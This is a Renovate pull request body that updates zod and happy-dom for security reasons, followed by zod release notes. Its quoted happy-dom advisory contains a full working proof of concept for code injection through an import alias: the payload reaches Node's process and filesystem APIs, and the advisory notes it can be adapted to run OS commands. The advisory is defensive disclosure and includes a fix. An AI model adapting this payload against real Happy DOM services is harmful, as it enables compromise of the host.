chore(deps): update security updates [security] (major)
[!NOTE]
This PR body was truncated due to platform limits.
This PR contains the following updates:
| Package | Change | Age | Confidence |
|---|---|---|---|
| @mintlify/scraping>zod (source) | ^3.22.3 → ^4.0.0 | ||
| @mintlify/validation>zod (source) | ^3.22.3 → ^4.0.0 | ||
| happy-dom | 20.9.0 → 21.0.4 |
Zod can exhaust memory while validating oversized constrained collections
CVE-2023-54404 / GHSA-mrhx-c7xc-m3w5
More information
Details
Zod schema-validation library through 4.6.5 contains an uncontrolled resource consumption vulnerability that allows attackers to exhaust memory by submitting a large array to an application using an array schema without a length constraint. Attackers can exploit the handleArrayResult parse logic in $ZodArray, which accumulates every validation issue for each failing element with no cap or early termination, causing the process to allocate excessive issue objects and crash due to out-of-memory conditions.
Severity
- CVSS Score: 8.2 / 10 (High)
- Vector String:
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
References
- https://nvd.nist.gov/vuln/detail/CVE-2023-54404
- https://github.com/colinhacks/zod/issues/1872
- https://github.com/colinhacks/zod/pull/6475
- https://www.vulncheck.com/advisories/zod-uncontrolled-resource-consumption-via-array-validation
- https://github.com/colinhacks/zod/pull/6652
- https://github.com/colinhacks/zod/commit/a0ebf970f2d752e5f58527cd2942ff48be4f46bd
- https://github.com/advisories/GHSA-mrhx-c7xc-m3w5
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution
CVE-2026-115895 / GHSA-834v-8h66-3h79
More information
Details
Summary
The ESM compiler in happy-dom@20.14.5 does not validate imported local binding aliases before interpolating them into generated JavaScript.
As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.
These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.
Confirmed affected versions
The PoC was directly tested against:
happy-dom@17.0.0happy-dom@20.0.0happy-dom@20.1.0happy-dom@20.14.5
The same PoC does not trigger on happy-dom@16.8.1.
The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.
Suggested affected range:
>= 17.0.0, <= 20.14.5
No patched version is currently available.
Preconditions
- JavaScript evaluation is enabled with
enableJavaScriptEvaluation: true. - Attacker-controlled HTML or module source is processed by Happy DOM.
- This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.
Technical details
In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');
if (alias && name) {
properties.push({ name, alias });
}
Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.
It is subsequently inserted directly into generated binding syntax:
newCodeStart += `let {${properties
.map((property) =>
property.alias
? `"${property.name}": ${property.alias}`
: property.name
)
.join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
Consider the following source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
This is invalid ECMAScript module syntax. Node.js rejects it at the = token.
Happy DOM instead transforms it into the equivalent of:
let {
"missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.
The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:
if (!match[7] || match[7] === 'esm') {
resolvableCircularImports.push({ url, properties });
}
Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.
Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:
globalThis.constructor.constructor(`return process`)()
.getBuiltinModule(`node:fs`)
.mkdirSync(
globalThis.constructor.constructor(`return process`)().cwd() +
`/HAPPY_DOM_RCE_PROOF`
)
Proof of concept
The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.
1. Create package.json
{
"name": "happy-dom-import-alias-rce-poc",
"private": true,
"type": "module",
"dependencies": {
"happy-dom": "20.14.5"
}
}
2. Create dep.json
{}
3. Create payload.mjs
This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
4. Create poc.mjs
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';
const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });
const window = new Window({
url: 'https://poc.local/',
settings: {
enableJavaScriptEvaluation: true,
suppressCodeGenerationFromStringsWarning: true,
fetch: {
virtualServers: [
{
url: 'https://poc.local/',
directory: process.cwd()
}
]
}
}
});
const script = window.document.createElement('script');
script.type = 'module';
script.textContent = `
import {
missing as injected = globalThis.constructor.constructor(\`return process\`)()
.getBuiltinModule(\`node:fs\`)
.mkdirSync(
globalThis.constructor.constructor(\`return process\`)().cwd() +
\`/HAPPY_DOM_RCE_PROOF\`
)
} from './dep.json' with { type: 'json' };
`;
window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();
if (!existsSync(proofDirectory)) {
console.error('[-] Exploit failed: proof directory was not created.');
console.error(
window.happyDOM.virtualConsolePrinter.readAsString()
);
process.exitCode = 1;
} else {
console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}
await window.happyDOM.close();
5. Run the control test
npm install
node --check payload.mjs
Expected result:
SyntaxError: Unexpected token '='
This confirms that the source is not valid ESM.
6. Run the Happy DOM PoC
node poc.mjs
Expected result:
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF
The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.
The PoC was also verified inside a node:24-alpine Docker container, where it created:
/poc/HAPPY_DOM_RCE_PROOF
Impact
An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.
This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.
The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.
Relationship to CVE-2026-33943
CVE-2026-33943 covers expression injection through a local export declaration:
export { attacker_expression }
Its fix added identifier validation to the importName used by the export { ... } handler:
if (
exportName &&
importName &&
VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
// ...
}
This report uses a different parsing and code-generation path:
import { name as malicious_alias } from './module';
The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.
The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.
Suggested fix
Validate the imported local binding before placing it into code context. The existing VALID_VARIABLE_NAME_REGEXP can be reused:
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {
A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.
This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.
For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.
Verification record
- Testing date: 2026-09-17
- Duplicate check updated: 2026-09-20
- Platform: Windows 11
- Node.js:
24.14.1 - Latest tested package:
happy-dom@20.14.5 - Source tag:
v20.14.5 - Source commit:
0d4cdbe7442af49d16b49ddf1acf7cc9684ed318 - First confirmed affected version:
17.0.0 - Confirmed unaffected version:
16.8.1 - Docker environment: Node 24 Alpine
- No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.
Severity
- CVSS Score: 8.8 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
References
- https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79
- https://github.com/capricorn86/happy-dom/pull/2537
- https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13
- https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4
- https://github.com/advisories/GHSA-834v-8h66-3h79
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
colinhacks/zod (@mintlify/scraping>zod)
v4.6.7
Commits:
b500a2e4.6.7
v4.6.6
Six malicious commits pushed to
mainon September 21 with a compromised git credential were reverted the same day in #6620 and have since been removed from the history ofmain. None were ever published to npm. The npm provenance for 4.6.6 names284243f, the pre-rewrite copy of9c21983with identical contents.
Commits:
0cd3af5docs: load the en locale directly in Zod Mini9d5e60fdocs: import locales from zod/locales, not z.locales34a626fdocs: tighten the z.locales tree-shaking note74304cerelease: stage npm versions instead of publishing them (#6622)b2ef983docs: add Code for Japan to bronze sponsors8fb2fafdocs: crop the Code for Japan logo and list it first in bronzebacad51docs: square the Code for Japan logo to match the other bronze tilesc42596brelease: hold the run on the release-approval environment until the staged versions are approved (#6638)a2ba4a6fix(types): declare record output and input as members, not base type arguments (#6645)a0ebf97fix(v4): check array, set and map size bounds before parsing elements (#6652)529f78d4.6.69c21983ci: stage at verbose so a failed OIDC token exchange says why
v4.6.5
Commits:
d2b135cdocs: add the 4.6.x patch highlights to the 4.6 postf1448f7docs: fold the 4.6.x patch highlights into the 4.6 post's own sectionsde65a5cdocs: lead the properties section with the check and add a Zod Mini tab (#6598)56222cdfeat(instanceof): key the .properties() shape off the instance type (#6600)ca0229aRevert "feat: add z.currencyCode() over a vendored ISO 4217 list, refreshed weekly by CI (#6595)"cc4cd4eRevert "Revert "feat: add z.currencyCode() over a vendored ISO 4217 list, refreshed weekly by CI (#6595)""0f3f5ee4.6.559bbc03chore: re-pin the integration peers to the workspace zod after the 4.6.5 bump
v4.6.4
A patch on top of 4.6.3.
d6bc1e30feat: addz.currencyCode()over a vendored ISO 4217 list, refreshed weekly by CI (#6595)ad32d751perf:z.url()rejects an invalid URL withURL.canParse()instead of a throwing constructor, about 50x faster; fewer allocations on the validation path (#6588)2bb08717chore: re-pin the integration peers to the workspace zod after the 4.6.4 bumpf6e1701achore(deps): bump next to 15.5.25 and vite to 7.3.6 (#6153)
v4.6.3
A patch on top of 4.6.2.
413cce9afix(v4): make z.properties() a check again (#6594) — removes the standalonez.properties()schema from 4.6.0;z.instanceof().properties()and.check(...z.properties())are unchanged75d63ee1docs: show only the.properties()method form in the 4.6 post46da9572docs: match the error-message examples to what the parsers emit
v4.6.2
A patch on top of 4.6.1.
9446b5ccfix: preserve undefined prefault outputs and object keys (#6587) — closes #65850c483c58docs: the Zod 4.6 announcement post (#6546)a00c3f34docs: use Trigger.dev's brand-kit lockups for the platinum card
v4.6.1
A patch on top of 4.6.0.
b12aa523fix: preserve unique tags with defaulted discriminators (#6582) — closes #6577dd9c36fafix(v4): defer recursive object index inference (#6580)3b154992feat(lang): add Tajik (tg) locale (#6581) by @ismoil772efa8b80ci: give the npm wait a real budget and drop the back-publish path (#6583)
v4.6.0
Zod 4.6 is now available.
npm install zod@latest
At a glance:
.validate()— checks input validity without building a result (up to 35x faster than.safeParse().successon a compiled schema)z.instanceof().properties()— validates properties of an instancefromJSONSchema()— enforces six validation keywords it used to ignorez.iban()— electronic-format IBAN plus mod-97 checksumz.withParser()— installs a parser generated elsewhere, for environments withoutnew Function- Faster CommonJS — drops the getter on every export (~3x faster
z.validate()underrequire) - Memory retention in recursive schemas — releases the parsed input, fixing a 4.5 out-of-memory regression
@zod/mini— Zod Mini as a standalone package, versioned in lockstep withzodsince 4.5
.validate()
Standalone boolean validation, in Zod, Zod Mini, and Zod Core. It answers "is this input valid?" without constructing a ZodError, which makes rejection cheap. The return type is a guard on the schema's input type.
z.validate(z.string(), "hi"); // true
z.validate(z.string(), 42); // false
It is a method on Zod Classic schemas too. (#6547)
const Player = z.object({
username: z.string(),
xp: z.number(),
});
if (Player.validate(data)) {
data.username; // narrowed
}
In conjunction with z.compile(), this can be up to 35x faster than .safeParse().success on invalid input.
Time per call on invalid input, compiled with z.compile() — lower is better (benchmark)
Uncompiled schemas
Without compilation it is up to 5.9x faster. The saving is the result object: .safeParse() allocates one with an accessor pair on every call, and .validate() allocates nothing.
Time per call on invalid input, plain schemas — lower is better (benchmark)
Both charts measure the failure path. The key feature of .validate() is that it can short-circuit on the first issue it encounters, instead of aggregating a full ZodIssue[] array.
[!NOTE]
Async refinements are covered by.validateAsync().
z.properties()
A new API for validating specific properties of an object. Unlike z.object() it validates in-place, so it plays nice with class instances. (#6536)
const responseLike = z.properties({ status: z.number().min(200).max(299) });
responseLike.parse(new Response("ok", { status: 200 })); // ✅ a real Response
responseLike.parse({ status: 204 }); // ✅ a plain object
A corresponding .properties() method has been added to ZodInstanceOf.
Zod
const okResponse = z.instanceof(Response).properties({
ok: z.literal(true),
status: z.number().min(200).max(299),
});
Zod Mini
const okResponse = z.instanceof(Response).check(...z.properties({
ok: z.literal(true),
status: z.number().check(z.minimum(200), z.maximum(299)),
}));
The input comes back untouched, so the prototype survives and the methods still work. That is the part z.object() cannot do: it would hand back a plain object and the Response would be gone.
const res = await fetch("/api/user");
okResponse.parse(res) === res; // ✅ true
fromJSONSchema()
Six additional JSON Schema keywords are now supported in z.fromJSONSchema(). (#6535)
const schema = z.fromJSONSchema({
type: "object",
minProperties: 2, // also maxProperties
});
schema.parse({ a: 1 }); // ❌ too few properties
schema.parse({ a: 1, b: 2 }); // ✅
Both property bounds count the input's own keys. Array uniqueness is structural, so [{ a: 1 }, { a: 1 }] is a duplicate.
z.fromJSONSchema({ type: "array", uniqueItems: true }).parse([{ a: 1 }, { a: 1 }]); // ❌
z.fromJSONSchema({
type: "array",
contains: { type: "number" }, // also minContains and maxContains
minContains: 2,
}).parse(["a", 2]); // ❌ only one number
z.iban()
A new string format: an IBAN in electronic format, with a valid ISO 7064 MOD 97-10 checksum. (#6571)
z.iban().parse("DE89370400440532013000"); // ✅
z.iban().parse("DE89370400440532013001"); // ❌ bad checksum
z.withParser()
z.compile() builds its parser with new Function, which a strict Content Security Policy blocks. z.withParser() is that installer on its own: it takes a parser generated somewhere else, at build time or by a native compiler, and installs it under the same contract. (#6575)
const Player = z.object({ username: z.string(), xp: z.number() });
// isPlayer is a type guard your build step generated
const Fast = z.withParser(Player, (input) =>
isPlayer(input) ? { username: input.username, xp: input.xp } : z.INVALID
);
The supplied parser owns the whole result, so it has to return what the schema would have returned. This one rebuilds the object rather than handing back its input, because z.object() strips unknown keys. Returning z.INVALID hands the input to the runtime, which stays the only source of ZodErrors.
Faster CommonJS
TypeScript compiles a re-export to a getter, and 252 of the 255 exports on Zod 4.5's CommonJS entrypoint were getters. V8 could not see a constant callee behind one, so it could not inline the call. The 4.6 build emits plain properties and freezes the exports object. On a compiled schema, z.validate() under require is about 3x faster than it was in Zod 4.5. (#6564)
const { z } = require("zod");
const CompiledPlayer = z.compile(Player);
z.validate(CompiledPlayer, data); // ~3x faster than Zod 4.5
Only calls through the namespace were affected. A method call like Player.safeParse(data) never reads the exports object, and the ESM build is unchanged.
Memory retention in recursive schemas
A recursive schema held the input and output of its last parse until the next parse replaced it, so one long-lived schema pinned every object it had touched. Zod 4.4 released that input and Zod 4.5 did not, which surfaced as an out-of-memory failure on a repository-wide lint run. The parse state is weak throughout now: one parse of a 29k-node tree retains 2.2 MB where it used to retain 10.1 MB, and recursive parses give up about 6% for it. (#6572)
const Category = z.object({
name: z.string(),
get children() {
return z.array(Category);
},
});
Bug fixes
⚠️ Error maps run on the first read of error
Because safeParse() now builds its error lazily, error maps — global, locale, and per-schema error — run when result.error is first read, not at parse time. Code that swaps z.config() between the parse and the read gets the newer configuration. (#6519)
const result = schema.safeParse(12);
z.config(z.locales.fr());
result.error.issues[0].message; // French in 4.6, English in 4.5
An error map with a side effect never runs if nothing reads the error. Throwing parses are unaffected — .parse() builds and throws its error immediately, never takes the lazy path, and its stack still points at your call site.
⚠️ z.emoji() rejects component-only strings
Unicode's Emoji_Component property covers the pieces that attach to an emoji, so z.emoji() accepted "123", "#", "*", and a lone zero-width joiner, variation selector, or skin tone modifier. The pattern now requires at least one pictograph, regional indicator, or keycap. (#6532)
z.emoji().parse("😀"); // ✅
z.emoji().parse("1️⃣"); // ✅ the keycap is the anchor
z.emoji().parse("123"); // ❌ was accepted in 4.5
Flags, subdivision flags, skin-tone-modified emoji, and ZWJ sequences are unchanged. Closes #6515.
⚠️ Numeric enum options no longer include the reverse mappings
A numeric TypeScript enum also carries its reverse mapping (0 to "UK") at runtime. The parser already ignored those keys, but .options was read straight off the enum object, so a three-member enum listed six values and three of them failed to parse. (#6542)
enum Country { UK, Germany, France }
z.enum(Country).options; // 4.5: ["UK", "Germany", "France", 0, 1, 2] — 4.6: [0, 1, 2]
⚠️ base64 patterns
The runtime patterns for z.base64() and z.base64url() are the character sets, with length and padding enforced in code, so a multi-megabyte string can no longer overflow the regex stack through a composed schema. The JSON Schema output still emits the exact block forms, so z.toJSONSchema() is unchanged. (#6534, #6527)
Composing z.base64() into a template literal now checks the alphabet but not the length, which is how z.creditCard() already behaves there. The exported z.regexes.base64url is now the length-aware form, so it overflows on a multi-megabyte input the same way z.regexes.base64 does.
⚠️ The email pattern dropped its lookaheads
z.email() opened with two lookaheads, and the second scanned the whole string before the match began. Both are gone, and the rule they enforced — no empty segment in the local part — is expressed structurally instead, so z.email() accepts and rejects exactly what it did before. Valid addresses validate roughly twice as fast. (#6573)
The pattern string is user-visible, and every copy of it changes: z.regexes.email, which has no capture groups now — neither of the two it used to expose held a usable value; issue.pattern on a failed z.email(); and the pattern that z.toJSONSchema() emits, which no longer carries a lookahead, so validators outside ECMAScript can compile it.
Composing an email into a template literal also stops applying its no-consecutive-dots rule to the rest of the string.
z.templateLiteral([z.email(), "|", z.string()]).parse("a@b.cc|a..b");
// 4.5: ❌ — the lookahead reached past the email segment — 4.6: ✅
⚠️ Chained checks no longer overwrite each other in JSON Schema
Each check used to write its own bounds into the schema as it attached, in chain order, so a format check applied after .min() and .max() replaced the tighter values with its own range. The converter folds the checks as a conjunction now. The order they are chained in no longer changes the output. (#6554, #6553)
z.toJSONSchema(z.number().min(0).max(23).int());
// 4.5: { minimum: -9007199254740991, maximum: 9007199254740991 }
// 4.6: { minimum: 0, maximum: 23 }
Runtime parsing enforced the bounds in every version. Only the emitted schema was wrong. The same fold fixes two more cases: a repeated multipleOf kept the first divisor and dropped the rest, so z.number().multipleOf(2).multipleOf(3) emitted a schema that accepts 4, and z.string().min(8).length(5) emitted minLength: 5, widening a bound the runtime still rejected. Closes #6550.
⚠️ Metadata members materialize on first read
Eight members on a Zod Classic schema — .format, .minLength, .maxLength, .minValue, .maxValue, .isInt, .minDate and .maxDate — are computed from the checks now instead of being written onto every instance at construction. Each one is a prototype getter that becomes an own property on first read. (#6554)
const s = z.string().min(3).max(9);
Object.keys(s); // 4.5: ["def", "type", "format", "minLength", "maxLength"] — 4.6: ["def", "type"]
s.minLength; // 3 in both
Object.keys(s); // 4.6: ["def", "type", "minLength"]
A key is absent until something reads it, and Object.assign({}, schema) copies only the members that have been read. Deleting one restores the getter, and the next read recomputes it.
The values can move too, because the getters read the same fold the JSON Schema converter does. An order-dependent chain reports the tighter bound now instead of whichever check wrote last.
z.string().min(8).length(5).minLength; // 4.5: 5 — 4.6: 8
Commits
Zod 4.6 rolls up 72 commits.
661673aedocs: make the 9thCO logo visible on the light theme by @colinhacks6de10dcedocs: reconcile the sponsor listings against every active sponsorship (#6579) by @colinhacks213ee75dfeat(compile): add z.withParser for externally generated parsers (#6575) by @colinhacksf9465d4edocs: reconcile the sponsor listings with active sponsorships (#6576) by @colinhacksf7fd5548perf(v4): drop the lookaheads from the email regex (#6573) by @colinhacks36f17960fix(v4): stop the memoizer from pinning a finished parse (#6572) by @colinhacks22bed613feat(v4): add z.iban() string format with mod-97 checksum (#6571) by @colinhacksc5b9bcb3bench: measure what a runtime island's leaked indent cost the generated source by @colinhackse54716cbdocs(ecosystem): add @apical-ts/craft (#5946) by @gunzipdcbcf052fix(compile): unwind the doc indent when a child generator throws (#6570) by @colinhacks277613a6docs: move the release procedure to the maintainer-local notes by @colinhackseb1c1089ci: release only on workflow_dispatch behind the npm environment (#6569) by @colinhacks741981ffperf(compile): for-in record walk, cheaper issue finalization, and a generative compile differential (#6567) by @colinhacks804e0f52perf: seal the CommonJS exports so require("zod") stops reading through a getter (#6564) by @colinhacks6f048367fix(v4): derive JSON Schema constraints by folding checks in the converter (#6554) by @colinhackse4d67f3eMigrate development and CI to Nub (#6562) by @colinhacks7a002366fix(v4): don't let format checks overwrite tighter min/max bounds (#6553) by @colinhacks5489a532test(v4): pin the check-chain case that keeps compiled validate's definite guard (#6551) by @colinhackse7604717docs: attribute the compiled failure cost to the fallback, not the double pass by @colinhacks764ac59fperf(v4): settle z.validate on the first failure in parse order (#6544) by @colinhacks07917f4ctest(v4): pin the lazy safeParse error's stack behavior (#6548) by @colinhacks62e6624bfeat(v4): add .validate() and .validateAsync() to Zod Classic (#6547) by @colinhackscafbee47fix(v4): parse recursive schemas built by a factory (#6530) by @colinhacks4d730882Release the parsed input once a failing safeParse builds its error (#6543) by @colinhacks90269c60Keep a numeric TS enum's reverse-mapping keys out of.options(#6542) by @colinhacks18e71c71Rename the JSON Schemaprocesshelper so bundler polyfills cannot collide (#6541) by @colinhacks68aca3dcdocs: cover the 4.5 API surface that never made it into the reference by @colinhackseca96871fix(v4): enforce the six JSON Schema keywords fromJSONSchema silently dropped (#6535) by @colinhacks81ded991perf: answer z.validate from the compiled fast path on invalid input (#6538) by @colinhacks51caf010refactor: collapse cachedInternal back into cached (#6540) by @colinhacksabfb3897feat(v4): make z.properties() a schema, and give z.instanceof() a .properties() method (#6536) by @colinhacks69f2a7ffCollapse toZod's normalizer and move its docs to the API reference (#6539) by @colinhacksbf990216perf: move util.cached's accessor to a prototype (#6537) by @colinhacksbec73beaperf(v4): build the safeParse error on first read (#6519) by @colinhacks07c43e2aKeep the runtime base64 regexes linear so composed parse paths cannot overflow (#6534) by @colinhacksbc1157e7docs: use a Response example for z.properties() by @colinhacks2ec972ecrefactor: collapse toZod's enum leaf normalizer to a dummy union (#6533) by @colinhacks68a609acWiden literal inputs in property check types (#6520) by @colinhacks0227e53ddocs: bump the star pill's GitHub mark to 20px by @colinhacks84dd3b0fperf: build literal and enum pattern regexes lazily (#6531) by @colinhacksf83ab511fix(v4): reject component-only strings from z.emoji() (#6532) by @colinhacks74f9a6d3docs: drop the toZod enum block from basics and pin the page's curation rule in a comment by @colinhacksa2a019a5Accept enum-typed targets in z.toZod (#6528) by @colinhacks319f47f4Emit a length-aware base64url pattern in toJSONSchema (#6527) by @colinhacks08ba069eperf(v4): read Luhn digits with charCodeAt instead of string indexing (#6529) by @colinhacks1ec6b7c5docs: add an RSS feed to the blog at /blog/rss.xml by @colinhacksb801439bbench: add typebox (compiled and dynamic) to the moltar cross-library harness by @colinhacks7ae49d64docs: drop the circle around the star pill's GitHub mark and center it on the pill's arc by @colinhacks93f3ab32docs: replace the blog navbar's GitHub icon with a star-count pill by @colinhacksfb2fedfddocs: tighten the memory chart callout, pad the canvas, say "less memory" by @colinhacksff56a551docs: center the memory chart callout labels and pad them off the number by @colinhacks8cd1250fdocs: center the memory chart callout labels by @colinhacks3195ed01docs: label the memory chart like the compile chart by @colinhacksa6b49390Mark the compile internals @internal instead of hiding them (#6518) by @colinhacks40b4d0b3fix(ci): read zod's latest version with npm view when picking the backfill dist-tag by @colinhacks5ff95665Stop re-exporting the compile internals from zod/v4/core (#6511) by @colinhacksf412178dci: publish @zod/mini to JSR in lockstep with npm (#6510) by @colinhacksf3e7c72efix(docs): render the docs 404 page inside the (doc) layout once by @colinhacksf3cb3644docs: surface the blog on the home page and in the sidebar by @colinhackscd4f9a67perf(v4): report Standard Schema issues without constructing a ZodError (#6509) by @colinhacks43b9bfc5docs: drop the bound-methods section from the Zod package page by @colinhacks70eb2c07docs: drop the traits section and the compilation feature bullet by @colinhacks1c0bce0cdocs: bring the 4.5 charts and worked examples into the docs pages by @colinhacksa0898b4bci: wait hours for npm to serve a publish, not ten minutes (#6502) by @colinhacksc46eeff0chore: narrow blanket biome-ignore comments (#6504) by @pullfrog[bot]c7ec94d3ci: check zod and @zod/mini lockstep on npm after every publish (#6507) by @colinhacks81065739chore(docs): build with Turbopack by @colinhacksabd41adbdocs(wiki): move plans and comparisons into a gitignored internal/ (#6506) by @colinhacks2956c4c2chore(mini): sync @zod/mini to 4.5.4 by @colinhacks8ce9e8d5feat(mini): publish Zod Mini as the standalone @zod/mini package (#6491) by @colinhacks93186cabdocs(wiki): drop the zod-compiler benchmark (#6505) by @colinhacks908c9e17fix(docs): retry the GitHub stars fetch and log the real status by @colinhacks
v4.5.4
Commits:
84e416ffix(v4): stop the cycle walk from firing a default factory (#6500)- [
e8e206f](https://redirect.github.com/colinhacks/zod/commit/e8e206fa
[!IMPORTANT]
✂ PR body was truncated to here.
Configuration
📅 Schedule: (UTC)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Never, or you tick the rebase/retry checkbox.
👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.
- If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
Summary by cubic
Applies Renovate security updates that bump zod to 4.x and happy-dom to 21.x to patch two high-severity CVEs.
Dependencies
zod3.22 → 4.x for the@mintlify/scrapingand@mintlify/validationoverrides, fixing memory exhaustion when validating oversized arrays (CVE-2023-54404); this is a major version bump, so verify Mintlify packages still behave correctly under zod 4.happy-dom20.9.0 → 21.0.4, fixing an unsanitized ESM import alias that could execute host code (CVE-2026-115895); it pulls inbuffer-image-sizeandws8.22 as new deps.- The lockfile re-resolution also churns unrelated versions (
@types/node,acorn) in some snapshots.